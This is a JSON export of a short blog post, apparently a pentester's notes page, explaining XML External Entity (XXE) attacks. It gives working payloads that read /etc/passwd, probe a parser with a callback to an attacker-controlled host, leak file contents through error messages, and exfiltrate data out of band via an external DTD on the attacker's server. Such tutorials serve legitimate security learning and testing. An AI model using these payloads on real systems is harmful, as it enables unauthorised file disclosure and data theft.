{"id":4982,"date":"2026-06-05T20:22:55","date_gmt":"2026-06-05T18:22:55","guid":{"rendered":"https:\/\/infosec.andreas-klingler.de\/?p=4982"},"modified":"2026-06-09T17:12:55","modified_gmt":"2026-06-09T15:12:55","slug":"xml-external-entities","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=4982","title":{"rendered":"<span class=\"caps\">XML<\/span> External Entities \/&nbsp;<span class=\"caps\">XXE<\/span>"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">A <span class=\"caps\">XML<\/span> Exter\u00adnal Enti\u00adty is a tech\u00adnique where a <span class=\"caps\">XML<\/span> file con\u00adtains a state\u00adment which leads the <span class=\"caps\">XML<\/span> pars\u00ader to include results from an exter\u00adnal source into the <span class=\"caps\">XML<\/span> file. The benign idea is for exam\u00adple to replace a string mul\u00adti\u00adple times with a pre\u00adde\u00adfined&nbsp;value:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!DOCTYPE data [<br>&lt;!ELEMENT data ANY &gt;<br>&lt;!ENTITY name \"Olaf\"&gt;<br>]&gt;<br>&lt;data&gt;<br>...<br>&lt;name&gt;&amp;name;&lt;\/name&gt;<br>...<br>&lt;\/data&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Impor\u00adtant<\/strong>: <em>data<\/em> is here the name of the root node. It could be root, or invoice-enti\u00adty, etc. Depend\u00ading what the <span class=\"caps\">DTD<\/span> has defined.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Include local&nbsp;files<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With the <span class=\"caps\">SYSTEM<\/span> key\u00adword, exter\u00adnal files can be included:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!DOCTYPE data [<br>&lt;!ELEMENT data ANY &gt;<br>&lt;!ENTITY name SYSTEM \"file:\/\/\/etc\/passwd\"&gt;<br>]&gt;<br>&lt;data&gt;<br>...<br>&lt;name&gt;&amp;name;&lt;\/name&gt;<br>...<br>&lt;\/data&gt;<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Include external sources<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>To check if a <span class=\"caps\">XXE<\/span> exist<\/strong>, open a local serv\u00ader and use&nbsp;this:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!DOCTYPE data [<br>&lt;!ELEMENT data ANY &gt;<br>&lt;!ENTITY name SYSTEM \"http:\/\/$attacker\/bla\"&gt;<br>]&gt;<br>&lt;data&gt;<br>...<br>&lt;name&gt;&amp;name;&lt;\/name&gt;<br>...<br>&lt;\/data&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the <span class=\"caps\">XML<\/span> pars\u00ader con\u00adnects to the local sys\u00adtem,&nbsp;well\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Or \u2014 try to include a third-par\u00adty source which is avail\u00adable via the tar\u00adget sys\u00adtem, but not from the attack\u00ader\u2019s system.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Error-based exploitation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If a pars\u00ader out\u00adputs errors due to mal\u00adformed <span class=\"caps\">XML<\/span> or invalid field con\u00adstraints (length!), maybe it will also out\u00adput ren\u00addered parts of the query. Example:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!DOCTYPE data [<br>&lt;!ELEMENT data ANY &gt;<br>&lt;!ENTITY name SYSTEM \"file:\/\/\/etc\/passwd\"&gt;<br>]&gt;<br>&lt;data&gt;<br>...<br>&lt;name&gt;fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill fill &amp;name;&lt;\/name&gt;<br>...<br>&lt;\/data&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If the length of the name field is too large, maybe an error is shown, which includes the inter\u00adpo\u00adlat\u00aded val\u00adue. Try this with var\u00adi\u00adous fields, for\u00admat vio\u00adla\u00adtions, etc.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Out-of-band exploitation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Exter\u00adnal <span class=\"caps\">DTD<\/span> files can be includ\u00aded. Pro\u00advide one on your serv\u00ader, e.g. <code>http:\/\/$attacker\/e.dtd<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!ENTITY % name SYSTEM \"file:\/\/\/etc\/passwd\"&gt;<br>&lt;!ENTITY % external \"&lt;!ENTITY &amp;#37; exfil SYSTEM 'http:\/\/$attacker\/?%name;'&gt;\" &gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This defines the enti\u00adty <strong>exfil<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lets use this payload:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!DOCTYPE oob [<br>&lt;!ENTITY % base SYSTEM \"http:\/\/$attacker\/e.dtd\"&gt; <br>%base;<br>%external;<br>%exfil;<br>]&gt;<br>&lt;data&gt;<br>&lt;\/data&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This will load the enti\u00adty base (which was defined in the tar\u00adget\u00aded sys\u00adtem). Then, it eval\u00adu\u00adates exter\u00adnal. For this, the exter\u00adnal <span class=\"caps\">DTD<\/span> needs to be loaded. Then, it needs to eval\u00adu\u00adate exfil, which per\u00adforms the request and pass\u00ades the val\u00adue to the attacker.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A <span class=\"caps\">XML<\/span> Exter\u00adnal Enti\u00adty is a tech\u00adnique where a <span class=\"caps\">XML<\/span> file con\u00adtains a state\u00adment which leads the <span class=\"caps\">XML<\/span> pars\u00ader to include results from an exter\u00adnal source into the <span class=\"caps\">XML<\/span> file. The benign idea is for exam\u00adple to replace a string mul\u00adti\u00adple times with a pre\u00adde\u00adfined&nbsp;val\u00adue: &lt;!<span class=\"caps\">DOCTYPE<\/span> data [&lt;!<span class=\"caps\">ELEMENT<\/span> data <span class=\"caps\">ANY<\/span> &gt;&lt;!<span class=\"caps\">ENTITY<\/span> name \u201cOlaf\u201d&gt;]&gt;&lt;data&gt;\u2026&lt;name&gt;<span class=\"amp\">&amp;<\/span>name;&lt;\/name&gt;\u2026&lt;\/data&gt; Impor\u00adtant:&nbsp;data&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470],"tags":[537,539,538],"class_list":["post-4982","post","type-post","status-publish","format-standard","hentry","category-active-enum","tag-xml","tag-xml-external-entity","tag-xxe"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4982"}],"version-history":[{"count":4,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4982\/revisions"}],"predecessor-version":[{"id":4989,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4982\/revisions\/4989"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4982"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4982"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}